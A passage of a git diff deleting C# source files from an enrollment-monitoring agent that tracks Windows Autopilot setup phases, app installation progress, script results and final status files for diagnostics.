_logger.Debug("EnrollmentTracker: Device-only ESP timer expired but AccountSetup detected — ignoring"); - return; - } - - if (desktopArrSnap) - { - _logger.Info($"EnrollmentTracker: No AccountSetup phase after {DeviceOnlyEspTimerMinutes}min — classified as device-only ESP, desktop is active"); - lock (_stateLock) - { - _espFinalExitSeen = true; - _stateData.EspFinalExitSeen = true; - _stateData.EspFinalExitUtc = DateTime.UtcNow; - } - _statePersistence.Save(_stateData); // Immediate persist — device-only ESP final exit - RecordSignal("device_only_esp_final_exit"); - _espAndHelloTracker?.StartHelloWaitTimer(); - } - else - { - _logger.Info($"EnrollmentTracker: No AccountSetup phase after {DeviceOnlyEspTimerMinutes}min and no desktop yet — waiting for Desktop Arrival or Lifetime Timer"); - } - - // Shadow state machine: track device-only ESP timer expiry - ShadowProcessTrigger("device_only_esp_timer_expired"); - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/EnrollmentTracker.Diagnostics.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/EnrollmentTracker.Diagnostics.cs deleted file mode 100644 index d3d883ad..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/EnrollmentTracker.Diagnostics.cs +++ /dev/null @@ -1,381 +0,0 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Threading; -using System.Threading.Tasks; -using AutopilotMonitor.Agent.Core.Logging; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime; -using AutopilotMonitor.Shared; -using AutopilotMonitor.Shared.Models; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment -{ - /// - /// Partial: Device info collection at key lifecycle points, app tracking summaries, - /// debug state timer, and final status file writing. - /// - public partial class EnrollmentTracker - { - private void CollectDeviceInfoAtEnrollmentStart() - { - lock (_stateLock) - { - if (_enrollmentStartDeviceInfoCollected) - return; - _enrollmentStartDeviceInfoCollected = true; - } - - if (!_isBootstrapMode) - { - _logger.Debug("EnrollmentTracker: skipping enrollment-start device info re-collection (not bootstrap mode)"); - return; - } - - _logger.Info("EnrollmentTracker: first ESP phase detected — re-collecting enrollment-dependent device info (bootstrap mode)"); - Task.Run(() => - { - try - { - _deviceInfoCollector.CollectAtEnrollmentStart(); - } - catch (Exception ex) - { - _logger.Warning($"EnrollmentTracker: failed to re-collect device info at enrollment start: {ex.Message}"); - } - }); - } - - private void CollectDeviceInfoAtFinalizingSetup(string triggerReason) - { - bool alreadyCollected; - lock (_stateLock) - { - alreadyCollected = _finalDeviceInfoCollected; - if (!alreadyCollected) - _finalDeviceInfoCollected = true; - } - - if (alreadyCollected) - { - _logger.Debug($"EnrollmentTracker: final device info already collected, skipping (trigger: {triggerReason})"); - return; - } - _logger.Info($"EnrollmentTracker: triggering final device info collection at FinalizingSetup (trigger: {triggerReason})"); - CollectDeviceInfoAtEnd(); - } - - private void SummaryTimerCallback(object state) - { - // Only emit if state-breakdown counters changed since last emission (backstop for missed events) - EmitAppTrackingSummaryIfChanged(); - - // Signal-correlated WhiteGlove detection (Ebene 2.6) — event-driven in the sense - // that it only triggers when the observed signal set matches; zero-cost when the - // session does not look like a sealing candidate. - try { CheckSignalCorrelatedWhiteGlove(); } - catch (Exception ex) { _logger.Error("CheckSignalCorrelatedWhiteGlove failed", ex); } - - // Periodic state save (piggybacks on the existing 30s timer) - bool dirty; - EnrollmentStateData stateSnapshot; - lock (_stateLock) - { - dirty = _stateDirty; - if (dirty) - { - _stateDirty = false; - stateSnapshot = _stateData; - } - else - { - stateSnapshot = null; - } - } - - if (dirty) - _statePersistence.Save(stateSnapshot); - } - - /// - /// Periodic debug state snapshot (every 60s). Writes to agent log only (not as event) to aid - /// post-mortem debugging of stuck enrollments without consuming Azure Table Storage. - /// - private void DebugStateTimerCallback(object state) - { - try - { - string lastPhaseDbg; - bool espFinalExitDbg, desktopDbg; - lock (_stateLock) - { - lastPhaseDbg = _lastEspPhase; - espFinalExitDbg = _espFinalExitSeen; - desktopDbg = _desktopArrived; - } - - var states = _imeLogTracker?.PackageStates; - if (states == null || states.CountAll == 0) return; - - var active = states.Where(x => x.IsActive).Select(x => $"{x.Name ?? x.Id}({x.InstallationState})"); - var errors = states.Where(x => x.IsError).Select(x => $"{x.Name ?? x.Id}"); - - _logger.Debug($"[StateSnapshot] Apps: {states.CountCompleted}/{states.CountAll} completed, " + - $"{states.ErrorCount} errors (device:{states.Count(x => x.IsError && x.Targeted == AppTargeted.Device)}, " + - $"user:{states.Count(x => x.IsError && x.Targeted == AppTargeted.User)}), " + - $"active: [{string.Join(", ", active)}], " + - $"failed: [{string.Join(", ", errors)}], " + - $"phase: {lastPhaseDbg ?? "none"}, espExit: {espFinalExitDbg}, desktop: {desktopDbg}"); - } - catch (Exception ex) - { - _logger.Debug($"[StateSnapshot] Error: {ex.Message}"); - } - } - - /// - /// Emits app_tracking_summary only if state-breakdown counters changed since last emission. - /// Called both event-driven (from HandleAppStateChanged) and periodically (30s timer backstop). - /// - private void EmitAppTrackingSummaryIfChanged() - { - var states = _imeLogTracker?.PackageStates; - if (states == null || states.CountAll == 0) return; - - var hash = GetSummaryHash(states); - - EventSeverity severity; - lock (_stateLock) - { - if (hash == _lastEmittedSummaryHash) return; - _lastEmittedSummaryHash = hash; - - var compactHash = $"{states.CountCompleted}_{states.ErrorCount}"; - severity = (compactHash != _lastEmittedSummaryCompactHash) - ? (states.HasError ? EventSeverity.Warning : EventSeverity.Info) - : EventSeverity.Debug; - _lastEmittedSummaryCompactHash = compactHash; - } - - _emitEvent(new EnrollmentEvent - { - SessionId = _sessionId, - TenantId = _tenantId, - EventType = "app_tracking_summary", - Severity = severity, - Source = "EnrollmentTracker", - Phase = EnrollmentPhase.Unknown, - Message = $"App tracking: {states.CountCompleted}/{states.CountAll} completed" + - (states.HasError ? $" ({states.ErrorCount} errors)" : ""), - Data = states.GetSummaryData(), - ImmediateUpload = (severity != EventSeverity.Debug) - }); - } - - /// - /// Emits app_tracking_summary unconditionally (for final summary on completion). - /// - private void EmitAppTrackingSummary() - { - var states = _imeLogTracker?.PackageStates; - if (states == null || states.CountAll == 0) return; - - lock (_stateLock) { _lastEmittedSummaryHash = GetSummaryHash(states); } - - _emitEvent(new EnrollmentEvent - { - SessionId = _sessionId, - TenantId = _tenantId, - EventType = "app_tracking_summary", - Severity = states.HasError ? EventSeverity.Warning : EventSeverity.Info, - Source = "EnrollmentTracker", - Phase = EnrollmentPhase.Unknown, - Message = $"App tracking: {states.CountCompleted}/{states.CountAll} completed" + - (states.HasError ? $" ({states.ErrorCount} errors)" : ""), - Data = states.GetSummaryData(), - ImmediateUpload = true - }); - } - - private static string GetSummaryHash(AppPackageStateList states) - { - return $"{states.CountAll}_{states.CountCompleted}_{states.ErrorCount}_" + - $"{states.Count(x => x.InstallationState == AppInstallationState.Downloading)}_" + - $"{states.Count(x => x.InstallationState == AppInstallationState.Installing)}_" + - $"{states.Count(x => x.InstallationState == AppInstallationState.Installed)}"; - } - - public void Dispose() - { - Stop(); - - // Unsubscribe from EspAndHelloTracker events - if (_espAndHelloTracker != null) - { - _espAndHelloTracker.HelloCompleted -= OnHelloCompleted; - _espAndHelloTracker.FinalizingSetupPhaseTriggered -= OnFinalizingSetupPhaseTriggered; - _espAndHelloTracker.WhiteGloveCompleted -= OnWhiteGloveCompleted; - _espAndHelloTracker.EspFailureDetected -= OnEspFailureDetected; - _espAndHelloTracker.DeviceSetupProvisioningComplete -= OnDeviceSetupProvisioningComplete; - } - - _espFailureTimer?.Dispose(); - _deviceOnlyEspTimer?.Dispose(); - _waitingForHelloSafetyTimer?.Dispose(); - _waitingForEspSettleTimer?.Dispose(); - _deviceOnlyCompletionSafetyTimer?.Dispose(); - _summaryTimer?.Dispose(); - _debugStateTimer?.Dispose(); - _imeLogTracker?.Dispose(); - } - - /// - /// Writes an enrollment complete marker to the state directory. - /// This marker is checked on agent restart to handle cleanup retry if scheduled task fails. - /// - private void WriteEnrollmentCompleteMarker() - { - try - { - var stateDirectory = Environment.ExpandEnvironmentVariables(@"%ProgramData%\AutopilotMonitor\State"); - Directory.CreateDirectory(stateDirectory); - - var markerPath = Path.Combine(stateDirectory, "enrollment-complete.marker"); - File.WriteAllText(markerPath, $"Enrollment completed at {DateTime.UtcNow:O}"); - - _logger.Info($"Enrollment complete marker written: {markerPath}"); - } - catch (Exception ex) - { - _logger.Warning($"Failed to write enrollment complete marker: {ex.Message}"); - } - } - - /// - /// Writes a comprehensive final-status.json with all app states, signals, and error summary. - /// Automatically included in diagnostics uploads for post-mortem analysis. - /// - private void WriteFinalStatus(string outcome, string source) - { - try - { - var stateDirectory = Environment.ExpandEnvironmentVariables(@"%ProgramData%\AutopilotMonitor\State"); - Directory.CreateDirectory(stateDirectory); - - var appStates = _imeLogTracker?.PackageStates; - - var signalTimestamps = new Dictionary(); - if (_stateData.EspFirstSeenUtc.HasValue) - signalTimestamps["espFirstSeen"] = _stateData.EspFirstSeenUtc.Value.ToString("o"); - if (_stateData.EspFinalExitUtc.HasValue) - signalTimestamps["espFinalExit"] = _stateData.EspFinalExitUtc.Value.ToString("o"); - if (_stateData.DesktopArrivedUtc.HasValue) - signalTimestamps["desktopArrived"] = _stateData.DesktopArrivedUtc.Value.ToString("o"); - if (_stateData.HelloResolvedUtc.HasValue) - signalTimestamps["helloResolved"] = _stateData.HelloResolvedUtc.Value.ToString("o"); - if (_stateData.ImePatternSeenUtc.HasValue) - signalTimestamps["imePatternSeen"] = _stateData.ImePatternSeenUtc.Value.ToString("o"); - if (_stateData.DeviceSetupProvisioningCompleteUtc.HasValue) - signalTimestamps["deviceSetupProvisioningComplete"] = _stateData.DeviceSetupProvisioningCompleteUtc.Value.ToString("o"); - - // Build per-phase package states: snapshots from completed phases + current phase - var phaseSnapshots = _imeLogTracker?.PhasePackageSnapshots; - var packageStatesByPhase = new Dictionary(); - - // Add snapshots from completed phases (e.g. DeviceSetup apps captured before phase transition) - if (phaseSnapshots != null) - { - foreach (var kvp in phaseSnapshots) - packageStatesByPhase[kvp.Key] = kvp.Value; - } - - // Add current phase (the phase active at completion, e.g. AccountSetup) - var currentPhaseName = _lastEspPhase ?? "Unknown"; - var currentPhaseList = appStates?.ToFinalStatusList() ?? new List>(); - packageStatesByPhase[currentPhaseName] = currentPhaseList; - - // Aggregate app summary across ALL phases (snapshots + current) - var currentPhaseTotal = appStates?.CountAll ?? 0; - var currentPhaseCompleted = appStates?.CountCompleted ?? 0; - var currentPhaseErrors = appStates?.ErrorCount ?? 0; - var currentPhaseDeviceErrors = appStates?.Count(x => x.IsError && x.Targeted == AppTargeted.Device) ?? 0; - var currentPhaseUserErrors = appStates?.Count(x => x.IsError && x.Targeted == AppTargeted.User) ?? 0; - - var allPhaseTotals = new Dictionary(); - var totalAppsAllPhases = currentPhaseTotal; - var completedAppsAllPhases = currentPhaseCompleted; - var errorCountAllPhases = currentPhaseErrors; - var deviceErrorsAllPhases = currentPhaseDeviceErrors; - var userErrorsAllPhases = currentPhaseUserErrors; - - allPhaseTotals[currentPhaseName] = currentPhaseTotal; - - if (phaseSnapshots != null) - { - foreach (var kvp in phaseSnapshots) - { - var phaseApps = kvp.Value; - allPhaseTotals[kvp.Key] = phaseApps.Count; - totalAppsAllPhases += phaseApps.Count; - foreach (var app in phaseApps) - { - object stateVal; - var isError = app.TryGetValue("state", out stateVal) && - string.Equals(stateVal?.ToString(), "Error", StringComparison.OrdinalIgnoreCase); - var isCompleted = app.TryGetValue("state", out stateVal) && - (stateVal?.ToString() == "Installed" || stateVal?.ToString() == "Skipped" || - stateVal?.ToString() == "Postponed" || stateVal?.ToString() == "Error"); - if (isCompleted) completedAppsAllPhases++; - if (isError) - { - errorCountAllPhases++; - object targetVal; - if (app.TryGetValue("targeted", out targetVal)) - { - if (string.Equals(targetVal?.ToString(), "Device", StringComparison.OrdinalIgnoreCase)) - deviceErrorsAllPhases++; - else if (string.Equals(targetVal?.ToString(), "User", StringComparison.OrdinalIgnoreCase)) - userErrorsAllPhases++; - } - } - } - } - } - - var status = new Dictionary - { - { "timestamp", DateTime.UtcNow.ToString("o") }, - { "outcome", outcome }, - { "completionSource", source }, - { "helloOutcome", _espAndHelloTracker?.HelloOutcome ?? "unknown" }, - { "enrollmentType", _enrollmentType ?? "unknown" }, - { "agentUptimeSeconds", (DateTime.UtcNow - _agentStartTimeUtc).TotalSeconds }, - { "signalsSeen", SnapshotSignalsSeen() }, - { "signalTimestamps", signalTimestamps }, - { "appSummary", new Dictionary - { - { "totalApps", totalAppsAllPhases }, - { "completedApps", completedAppsAllPhases }, - { "errorCount", errorCountAllPhases }, - { "deviceErrors", deviceErrorsAllPhases }, - { "userErrors", userErrorsAllPhases }, - { "appsByPhase", allPhaseTotals } - } - }, - { "packageStatesByPhase", packageStatesByPhase } - }; - - var json = System.Text.Json.JsonSerializer.Serialize(status, - new System.Text.Json.JsonSerializerOptions { WriteIndented = true }); - var path = Path.Combine(stateDirectory, "final-status.json"); - File.WriteAllText(path, json); - _logger.Info($"Final status written: {path}"); - } - catch (Exception ex) - { - _logger.Warning($"Failed to write final status: {ex.Message}"); - } - } - } -} - diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/EnrollmentTracker.EventHandlers.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/EnrollmentTracker.EventHandlers.cs deleted file mode 100644 index a2f796cc..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/EnrollmentTracker.EventHandlers.cs +++ /dev/null @@ -1,768 +0,0 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Threading; -using System.Threading.Tasks; -using AutopilotMonitor.Agent.Core.Logging; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime; -using AutopilotMonitor.Shared; -using AutopilotMonitor.Shared.Models; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment -{ - /// - /// Partial: IME log event handlers (ESP phase, app state, script completion, etc.). - /// - public partial class EnrollmentTracker - { - /// - /// Wraps _emitEvent and automatically injects the current ImeLogTracker patternId into event Data. - /// Use this for all events emitted from ImeLogTracker callback handlers. - /// - private void EmitImeTrackerEvent(EnrollmentEvent evt) - { - var logTimestamp = _imeLogTracker?.LastMatchedLogTimestamp; - if (logTimestamp.HasValue) - evt.Timestamp = logTimestamp.Value; - - var patternId = _imeLogTracker?.LastMatchedPatternId; - if (!string.IsNullOrEmpty(patternId)) - { - if (evt.Data == null) - evt.Data = new Dictionary(); - evt.Data["patternId"] = patternId; - } - _emitEvent(evt); - } - - private void HandleEspPhaseChanged(string phase) - { - string lastPhase; - bool tracksEspPhases; - lock (_stateLock) - { - tracksEspPhases = _flowHandler.TracksEspPhases; - lastPhase = _lastEspPhase; - } - - // Flows that do not track ESP phases (DevPrep/WDP) ignore these events entirely. - if (!tracksEspPhases) - { - _logger.Debug($"EnrollmentTracker: skipping ESP phase event — flow does not track ESP (phase: {phase})"); - return; - } - - // ESP resumed after final exit — only possible during hybrid join reboot recovery. - // In hybrid join, ESP exits for a mid-enrollment reboot (domain user login required), - // then the same phase re-appears in IME after the agent restarts. Reset completion state - // so the agent waits for the real final exit instead of self-destructing prematurely. - // Non-hybrid scenarios can see the same phase re-reported by IME (e.g., during user - // session completion) which is NOT a real resumption — skip the reset entirely. - bool espFinalExitSeen; - lock (_stateLock) { espFinalExitSeen = _espFinalExitSeen; } - - if (_isHybridJoin && espFinalExitSeen && string.Equals(phase, lastPhase, StringComparison.OrdinalIgnoreCase)) - { - _logger.Info($"EnrollmentTracker: ESP phase '{phase}' re-detected after final exit — " + - "ESP has resumed (hybrid join reboot recovery), resetting completion state"); - lock (_stateLock) - { - _espFinalExitSeen = false; - _stateData.EspFinalExitSeen = false; - _stateData.EspFinalExitUtc = null; - } - _statePersistence.Save(_stateData); // Immediate persist — ESP resumed resets final exit, must survive crash - RecordSignal("esp_resumed"); - _espAndHelloTracker?.ResetForEspResumption(); - - _emitEvent(new EnrollmentEvent - { - SessionId = _sessionId, - TenantId = _tenantId, - EventType = "esp_resumed", - Severity = EventSeverity.Info, - Source = "EnrollmentTracker", - Phase = EnrollmentPhase.AccountSetup, - Message = $"ESP phase '{phase}' re-detected after final exit — enrollment resumed after reboot", - Data = new Dictionary - { - { "espPhase", phase }, - { "isHybridJoin", _isHybridJoin } - }, - ImmediateUpload = true - }); - - // Shadow state machine: track ESP resumed - ShadowProcessTrigger("esp_resumed"); - return; - } - - // Only emit event if the phase has actually changed - if (string.Equals(phase, lastPhase, StringComparison.OrdinalIgnoreCase)) - { - _logger.Debug($"EnrollmentTracker: ESP phase unchanged ({phase}), skipping event"); - return; - } - - // AccountSetup verification: during WhiteGlove pre-provisioning the ESP briefly enters - // AccountSetup before WhiteGlove success, but no real user has signed in (only defaultuser0 - // exists). Suppress the phase event to avoid a fake AccountSetup on the timeline. - // The ImeLogTracker has already updated its internal phase tracking (ignore lists, phase order) - // which is correct — we only suppress the event emission to the backend. - if (string.Equals(phase, "AccountSetup", StringComparison.OrdinalIgnoreCase)) - { - var hasReal = HasRealUserProfile(); - _logger.Debug($"EnrollmentTracker: AccountSetup verification — HasRealUserProfile={hasReal}"); - if (!hasReal) - { - _logger.Info("EnrollmentTracker: AccountSetup suppressed — no real user profile (likely WhiteGlove)"); - EmitTraceEvent("AccountSetup_suppressed", - "ESP reported AccountSetup but no real user profile found — likely WhiteGlove pre-provisioning", - new Dictionary { { "espPhase", phase }, { "previousPhase", lastPhase ?? "null" } }); - return; - } - } - - _logger.Info($"EnrollmentTracker: ESP phase changed from '{lastPhase ?? "null"}' to '{phase}'"); - lock (_stateLock) - { - _lastEspPhase = phase; - _hasAutoSwitchedToAppsPhase = false; // Reset when ESP phase changes - _espEverSeen = true; - _stateData.EspEverSeen = true; - _stateData.LastEspPhase = phase; - if (_stateData.EspFirstSeenUtc == null) - _stateData.EspFirstSeenUtc = DateTime.UtcNow; - } - _statePersistence.Save(_stateData); // Immediate persist — ESP phase + espEverSeen must survive reboot - RecordSignal($"esp_phase_{phase}"); - - // ESP phase change means ESP is progressing — cancel any pending failure grace period - CancelPendingEspFailure(); - - // Cancel device-only ESP timer if AccountSetup phase detected - if (string.Equals(phase, "AccountSetup", StringComparison.OrdinalIgnoreCase)) - { - if (_deviceOnlyEspTimer != null) - { - _logger.Info("EnrollmentTracker: AccountSetup detected — cancelling device-only ESP timer"); - _deviceOnlyEspTimer.Dispose(); - _deviceOnlyEspTimer = null; - } - } - - // Map ESP phase to EnrollmentPhase (phase change events) - var enrollmentPhase = EnrollmentPhase.DeviceSetup; - if (string.Equals(phase, "AccountSetup", StringComparison.OrdinalIgnoreCase)) - enrollmentPhase = EnrollmentPhase.AccountSetup; - - EmitImeTrackerEvent(new EnrollmentEvent - { - SessionId = _sessionId, - TenantId = _tenantId, - EventType = "esp_phase_changed", - Severity = EventSeverity.Info, - Source = "ImeLogTracker", - Phase = enrollmentPhase, - Message = $"ESP phase: {phase}", - Data = new Dictionary { { "espPhase", phase } }, - ImmediateUpload = true - }); - - // Re-collect enrollment-dependent device info (AAD join, profile, ESP config) - // that may have been empty at startup (bootstrap / pre-enrollment scenario). - CollectDeviceInfoAtEnrollmentStart(); - - // Check for ConfigMgr client at phase transitions (may arrive after agent startup) - Task.Run(() => CheckConfigMgrClient( - enrollmentPhase == EnrollmentPhase.AccountSetup ? "account_setup" : "device_setup")); - - // Start summary timer when we detect ESP phase - if (!_summaryTimerActive) - { - _summaryTimerActive = true; - _summaryTimer?.Change(TimeSpan.FromSeconds(30), TimeSpan.FromSeconds(30)); - } - if (!_debugStateTimerActive) - { - _debugStateTimerActive = true; - _debugStateTimer?.Change(TimeSpan.FromSeconds(60), TimeSpan.FromSeconds(60)); - } - - // Shadow state machine: track ESP phase change - ShadowProcessTrigger("esp_phase_changed"); - } - - private void HandleImeAgentVersion(string version) - { - EmitImeTrackerEvent(new EnrollmentEvent - { - SessionId = _sessionId, - TenantId = _tenantId, - EventType = "ime_agent_version", - Severity = EventSeverity.Info, - Source = "ImeLogTracker", - Phase = EnrollmentPhase.Unknown, - Message = $"IME Agent version: {version}", - Data = new Dictionary { { "agentVersion", version } } - }); - } - - private void HandleImeStarted() - { - _logger.Info("EnrollmentTracker: IME started event"); - } - - private void HandleAppStateChanged(AppPackageState app, AppInstallationState oldState, AppInstallationState newState) - { - _logger.Verbose($"EnrollmentTracker: app state change '{app.Name ?? app.Id}': {oldState} -> {newState}"); - - // Auto-switch to app installation phase when first app activity detected - // If we're in DeviceSetup and an app starts downloading/installing, switch to AppsDevice - // If we're in AccountSetup and an app starts downloading/installing, switch to AppsUser - bool hasAutoSwitched; - string currentPhase; - lock (_stateLock) - { - hasAutoSwitched = _hasAutoSwitchedToAppsPhase; - currentPhase = _lastEspPhase; - } - - if (!hasAutoSwitched && - (newState == AppInstallationState.Downloading || newState == AppInstallationState.Installing) && - oldState < AppInstallationState.Downloading) - { - if (currentPhase != null) - { - if (string.Equals(currentPhase, "DeviceSetup", StringComparison.OrdinalIgnoreCase)) - { - // Switch from DeviceSetup to AppsDevice - _logger.Info($"EnrollmentTracker: First app activity detected during DeviceSetup, switching to AppsDevice phase"); - lock (_stateLock) { _hasAutoSwitchedToAppsPhase = true; } - EmitImeTrackerEvent(new EnrollmentEvent - { - SessionId = _sessionId, - TenantId = _tenantId, - EventType = "esp_phase_changed", - Severity = EventSeverity.Info, - Source = "EnrollmentTracker", - Phase = EnrollmentPhase.AppsDevice, - Message = "ESP phase: AppsDevice (auto-detected from app activity)", - Data = new Dictionary { { "espPhase", "AppsDevice" }, { "autoDetected", true } }, - ImmediateUpload = true - }); - } - else if (string.Equals(currentPhase, "AccountSetup", StringComparison.OrdinalIgnoreCase)) - { - // Switch from AccountSetup to AppsUser - _logger.Info($"EnrollmentTracker: First app activity detected during AccountSetup, switching to AppsUser phase"); - lock (_stateLock) { _hasAutoSwitchedToAppsPhase = true; } - EmitImeTrackerEvent(new EnrollmentEvent - { - SessionId = _sessionId, - TenantId = _tenantId, - EventType = "esp_phase_changed", - Severity = EventSeverity.Info, - Source = "EnrollmentTracker", - Phase = EnrollmentPhase.AppsUser, - Message = "ESP phase: AppsUser (auto-detected from app activity)", - Data = new Dictionary { { "espPhase", "AppsUser" }, { "autoDetected", true } }, - ImmediateUpload = true - }); - } - else if (string.Equals(currentPhase, "FinalizingSetup", StringComparison.OrdinalIgnoreCase)) - { - // SkipUserStatusPage flow: apps starting after FinalizingSetup are background user apps - _logger.Info($"EnrollmentTracker: First app activity detected during FinalizingSetup (SkipUserStatusPage), switching to AppsUser phase"); - lock (_stateLock) { _hasAutoSwitchedToAppsPhase = true; } - EmitImeTrackerEvent(new EnrollmentEvent - { - SessionId = _sessionId, - TenantId = _tenantId, - EventType = "esp_phase_changed", - Severity = EventSeverity.Info, - Source = "EnrollmentTracker", - Phase = EnrollmentPhase.AppsUser, - Message = "ESP phase: AppsUser (auto-detected from app activity)", - Data = new Dictionary { { "espPhase", "AppsUser" }, { "autoDetected", true } }, - ImmediateUpload = true - }); - } - } - } - - // Only emit strategic events for significant state transitions - string eventType; - var severity = EventSeverity.Info; - var phase = EnrollmentPhase.Unknown; // Apps set to Unknown, will be sorted chronologically into active phase - - switch (newState) - { - case AppInstallationState.Downloading: - // Emit strategic event once when download starts - if (oldState < AppInstallationState.Downloading) - { - eventType = "app_download_started"; - } - else - { - // Emit debug event for download progress updates - // Skip if no real download data (bytesTotal too small or zero) - if (app.BytesTotal > 1024) // At least 1 KB to be a real download - { - EmitImeTrackerEvent(new EnrollmentEvent - { - SessionId = _sessionId, - TenantId = _tenantId, - EventType = "download_progress", - Severity = EventSeverity.Debug, - Source = "ImeLogTracker", - Phase = phase, - Message = $"{app.Name ?? app.Id}: {app.ProgressPercent}%", - Data = app.ToEventData() - }); - } - return; // Skip main event emission below - } - break; - - case AppInstallationState.Installing: - // Only emit the strategic event once when install actually starts. - // Progress-only updates (oldState == Installing, just progress/bytes changed) - // are skipped — same pattern as Downloading above. - if (oldState == AppInstallationState.Installing) - return; - eventType = "app_install_started"; - break; - - case AppInstallationState.Installed: - eventType = "app_install_completed"; - // Emit download_progress event for download manager (shows as completed) - EmitImeTrackerEvent(new EnrollmentEvent - { - SessionId = _sessionId, - TenantId = _tenantId, - EventType = "download_progress", - Severity = EventSeverity.Debug, - Source = "ImeLogTracker", - Phase = phase, - Message = $"{app.Name ?? app.Id}: completed", - Data = new Dictionary(app.ToEventData()) - { - ["status"] = "completed" - } - }); - break; - - case AppInstallationState.Skipped: - eventType = "app_install_skipped"; - break; - - case AppInstallationState.Error: - eventType = "app_install_failed"; - severity = EventSeverity.Error; - // Emit download_progress event for download manager (shows as failed) - EmitImeTrackerEvent(new EnrollmentEvent - { - SessionId = _sessionId, - TenantId = _tenantId, - EventType = "download_progress", - Severity = EventSeverity.Debug, - Source = "ImeLogTracker", - Phase = phase, - Message = $"{app.Name ?? app.Id}: failed", - Data = new Dictionary(app.ToEventData()) - { - ["status"] = "failed" - } - }); - break; - - case AppInstallationState.Postponed: - eventType = "app_install_postponed"; - severity = EventSeverity.Warning; - break; - - default: - return; // Don't emit for Unknown, NotInstalled, InProgress - } - - // Build a descriptive message: include error detail if available - var message = $"{app.Name ?? app.Id}: {newState}"; - if (newState == AppInstallationState.Error && !string.IsNullOrEmpty(app.ErrorDetail)) - message = $"{app.Name ?? app.Id}: {app.ErrorDetail}"; - - EmitImeTrackerEvent(new EnrollmentEvent - { - SessionId = _sessionId, - TenantId = _tenantId, - EventType = eventType, - Severity = severity, - Source = "ImeLogTracker", - Phase = phase, - Message = message, - Data = app.ToEventData(), - ImmediateUpload = true - }); - - // Emit summary immediately if state-breakdown counters changed (instant UI updates) - EmitAppTrackingSummaryIfChanged(); - } - - private void HandlePoliciesDiscovered(string policiesJson) - { - _logger.Info($"EnrollmentTracker: policies discovered, tracking {_imeLogTracker.PackageStates.Count} apps"); - } - - private void HandleAllAppsCompleted() - { - _logger.Info("EnrollmentTracker: all apps completed"); - - // Stop timers - _summaryTimer?.Change(Timeout.Infinite, Timeout.Infinite); - _summaryTimerActive = false; - _debugStateTimer?.Change(Timeout.Infinite, Timeout.Infinite); - _debugStateTimerActive = false; - - // Emit final summary - EmitAppTrackingSummary(); - - // Note: Phase transition to FinalizingSetup is now handled by Shell-Core events - // (ESP exit or Hello wizard start) for more robust detection. - // We no longer automatically transition here when apps complete. - string phaseSnap; - lock (_stateLock) { phaseSnap = _lastEspPhase; } - if (phaseSnap != null) - { - _logger.Info($"EnrollmentTracker: All apps completed while in phase '{phaseSnap}'"); - _logger.Info("EnrollmentTracker: Waiting for ESP exit or Hello wizard events to transition to FinalizingSetup"); - } - } - - private void HandleDoTelemetryReceived(AppPackageState app) - { - _logger.Info($"EnrollmentTracker: DO telemetry received for {app.Name ?? app.Id}"); - - var phase = EnrollmentPhase.Unknown; - - // Dedicated do_telemetry event for backend aggregation - EmitImeTrackerEvent(new EnrollmentEvent - { - SessionId = _sessionId, - TenantId = _tenantId, - EventType = "do_telemetry", - Severity = EventSeverity.Info, - Source = "ImeLogTracker", - Phase = phase, - Message = $"{app.Name ?? app.Id}: DO complete - {app.DoPercentPeerCaching}% peers, mode={app.DoDownloadMode}", - Data = app.ToEventData(), - ImmediateUpload = true - }); - - // Also emit download_progress so the UI picks up DO stats - EmitImeTrackerEvent(new EnrollmentEvent - { - SessionId = _sessionId, - TenantId = _tenantId, - EventType = "download_progress", - Severity = EventSeverity.Debug, - Source = "ImeLogTracker", - Phase = phase, - Message = $"{app.Name ?? app.Id}: DO telemetry received", - Data = app.ToEventData(), - ImmediateUpload = true - }); - } - - private void HandleScriptCompleted(ScriptExecutionState script) - { - if (script == null || string.IsNullOrEmpty(script.PolicyId)) - { - _logger.Debug($"EnrollmentTracker: HandleScriptCompleted — skipped (script={script != null}, policyId='{script?.PolicyId}')"); - return; - } - - var isSuccess = string.Equals(script.Result, "Success", StringComparison.OrdinalIgnoreCase) - || (script.ExitCode.HasValue && script.ExitCode.Value == 0 && string.IsNullOrEmpty(script.Result)); - - var eventType = isSuccess - ? Constants.EventTypes.ScriptCompleted - : Constants.EventTypes.ScriptFailed; - - var severity = isSuccess ? EventSeverity.Info : EventSeverity.Warning; - - // Build human-readable message - string shortId = script.PolicyId.Length >= 8 ? script.PolicyId.Substring(0, 8) : script.PolicyId; - string message; - if (string.Equals(script.ScriptType, "remediation", StringComparison.OrdinalIgnoreCase)) - { - var complianceStr = string.Equals(script.ComplianceResult, "True", StringComparison.OrdinalIgnoreCase) - ? "Compliant" : "Non-compliant"; - message = $"Remediation {script.ScriptPart ?? "detection"} {shortId}: {complianceStr} (exit: {script.ExitCode ?? -1})"; - } - else - { - message = $"Platform script {shortId}: {script.Result ?? "Unknown"} (exit: {script.ExitCode ?? -1})"; - } - - // Add stderr hint to message if present - if (!string.IsNullOrEmpty(script.Stderr) && script.Stderr.Trim().Length > 0) - message += " - stderr present"; - - var data = new Dictionary - { - ["policyId"] = script.PolicyId, - ["scriptType"] = script.ScriptType ?? "platform", - ["exitCode"] = script.ExitCode ?? -1 - }; - - if (!string.IsNullOrEmpty(script.RunContext)) - data["runContext"] = script.RunContext; - if (!string.IsNullOrEmpty(script.Result)) - data["result"] = script.Result; - if (!string.IsNullOrEmpty(script.Stdout) && script.Stdout.Trim().Length > 0) - data["stdout"] = script.Stdout; - if (!string.IsNullOrEmpty(script.Stderr) && script.Stderr.Trim().Length > 0) - data["stderr"] = script.Stderr; - if (!string.IsNullOrEmpty(script.ComplianceResult)) - data["complianceResult"] = script.ComplianceResult; - if (!string.IsNullOrEmpty(script.ScriptPart)) - data["scriptPart"] = 